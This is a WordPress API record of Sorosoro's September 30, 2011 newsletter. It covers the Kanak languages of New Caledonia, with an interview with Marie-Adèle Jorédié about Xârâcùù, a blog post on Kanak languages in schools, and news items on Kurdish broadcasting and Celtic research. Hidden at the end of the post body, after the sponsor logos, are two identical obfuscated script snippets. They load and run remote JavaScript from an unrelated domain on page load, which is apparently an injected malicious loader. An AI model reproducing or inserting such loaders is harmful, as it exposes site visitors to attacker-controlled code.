{"id":58104,"date":"2011-09-30T16:16:48","date_gmt":"2011-09-30T14:16:48","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=58104"},"modified":"2025-10-21T22:21:00","modified_gmt":"2025-10-21T20:21:00","slug":"sorosoro-september-30-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/","title":{"rendered":"Sorosoro &#8211; September 30, 2011 <br\/><br\/>2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia<br\/><br\/><br\/>"},"content":{"rendered":"<h5>Kanak Languages<\/h5>\n<p style=\"text-align: justify;\"><strong>Video<\/strong><\/p>\n<p style=\"text-align: justify;\">Here\u2019s the first video of our new cycle on the <strong>Kanak languages<\/strong>: an interview with educator and activist <strong>Marie-Ad\u00e8le Jor\u00e9di\u00e9<\/strong> who tells us about her relation to her language, <strong>X\u00e2r\u00e2c\u00f9\u00f9<\/strong>, and the need to have it handed down.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/interview-with-marie-adele-joredie-on-her-language-xaracuu\">See video<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Blog<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Jacques Vernaudon<\/strong>, senior lecturer in Oceanic linguistics at the University of New Caledonia, speaks on the slow recognition of the Kanak languages and their first steps in classrooms.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/kanak-languages-at-school-in-new-caledonia-a-long-process\">Read blog<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Soropedia<\/strong><\/p>\n<p style=\"text-align: justify;\">Further delvers please refer to our introduction on <a href=\"https:\/\/www.sorosoro.org\/en\/kanak-languages\"><strong>Kanak languages<\/strong><\/a>, as well as our description sheets on <strong><a href=\"https:\/\/www.sorosoro.org\/en\/xaracuu\">X\u00e2r\u00e2c\u00f9\u00f9<\/a><\/strong> and <strong><a href=\"https:\/\/www.sorosoro.org\/en\/xaragure\">X\u00e2r\u00e2gur\u00e8<\/a><\/strong> \u2013 two of France\u2019s 75 languages!<\/p>\n<p style=\"text-align: justify;\">\n<h5>Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>October 14, 2011<\/strong>: <strong>Recovering Voices Program<\/strong> manager application deadline, National Museum of Natural History, Washington, USA<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-14-2011-recovering-voices-program-manager-application-deadline-national-museum-of-natural-history-washington-usa\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5>News<\/h5>\n<p style=\"text-align: justify;\"><strong>September 22, 2011<\/strong>: EU Court of Justice ruling in favor of the retransmission in Germany of <strong>Kurdish language<\/strong> programs broadcasted from Denmark.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-22-2011-eu-court-of-justice-ruling-in-favour-of-kurdish-programs-broadcast-in-germany\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>September 25,\u00a02011<\/strong>: Regional French daily <em>Ouest-France<\/em> reports on a possible collaboration between <strong>Rennes 2 University\u2019s Breton and Celtic Research Center (CRBC)<\/strong>, and <strong>Harvard<\/strong> University.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-25-2011-report-of-a-celtic-languages-based-collaboration-project-between-harvard-and-rennes-2-france\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5>Videos subtitled in Spanish<\/h5>\n<p style=\"text-align: justify;\">Three more videos available this week for our Spanish-speaking friends, on <strong><a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-la-lengua-akele-gabon\">the Akele language<\/a> (Gabon)<\/strong>: a presentation of the language and the reasons for its decline.<\/p>\n<p style=\"text-align: justify;\">\n<h5>Bearing in mind\u2026<\/h5>\n<p style=\"text-align: justify;\">Please keep sending in your contributions to the <a href=\"https:\/\/www.sorosoro.org\/en\/mouth\">word of the fortnight<\/a>, &#8220;<strong>mouth<\/strong>&#8220;&#8230; to be translated in all tongues!<\/p>\n<p style=\"text-align: justify;\">And an updated <strong>Soroquiz<\/strong> available on our <a href=\"https:\/\/www.sorosoro.org\/en\/\">homepage<\/a>&#8230;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-56768 alignnone\" title=\"logo_FondationOrange-en\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" alt=\"logo_FondationOrange-en\" width=\"168\" height=\"61\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kanak Languages Video Here\u2019s the first video of our new cycle on the Kanak languages: an interview with educator and activist Marie-Ad\u00e8le Jor\u00e9di\u00e9 who tells us about her relation to her language, X\u00e2r\u00e2c\u00f9\u00f9, and the need to have it handed down. See video Blog Jacques Vernaudon, senior lecturer in Oceanic linguistics at the University of [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-58104","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Kanak Languages Video Here\u2019s the first video of our new cycle on the Kanak languages: an interview with educator and activist Marie-Ad\u00e8le Jor\u00e9di\u00e9 who tells us about her relation to her language, X\u00e2r\u00e2c\u00f9\u00f9, and the need to have it handed down. See video Blog Jacques Vernaudon, senior lecturer in Oceanic linguistics at the University of [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-09-30T14:16:48+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:21:00+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia\",\"datePublished\":\"2011-09-30T14:16:48+00:00\",\"dateModified\":\"2025-10-21T20:21:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\"},\"wordCount\":254,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\",\"name\":\"Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"datePublished\":\"2011-09-30T14:16:48+00:00\",\"dateModified\":\"2025-10-21T20:21:00+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro","og_description":"Kanak Languages Video Here\u2019s the first video of our new cycle on the Kanak languages: an interview with educator and activist Marie-Ad\u00e8le Jor\u00e9di\u00e9 who tells us about her relation to her language, X\u00e2r\u00e2c\u00f9\u00f9, and the need to have it handed down. See video Blog Jacques Vernaudon, senior lecturer in Oceanic linguistics at the University of [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-09-30T14:16:48+00:00","article_modified_time":"2025-10-21T20:21:00+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia","datePublished":"2011-09-30T14:16:48+00:00","dateModified":"2025-10-21T20:21:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/"},"wordCount":254,"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/","name":"Sorosoro - September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","datePublished":"2011-09-30T14:16:48+00:00","dateModified":"2025-10-21T20:21:00+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/09\/sorosoro-september-30-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; September 30, 2011 2011, year of the French Overseas \u2013 Sorosoro takes a look at the languages of New Caledonia"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/58104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=58104"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/58104\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=58104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=58104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=58104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}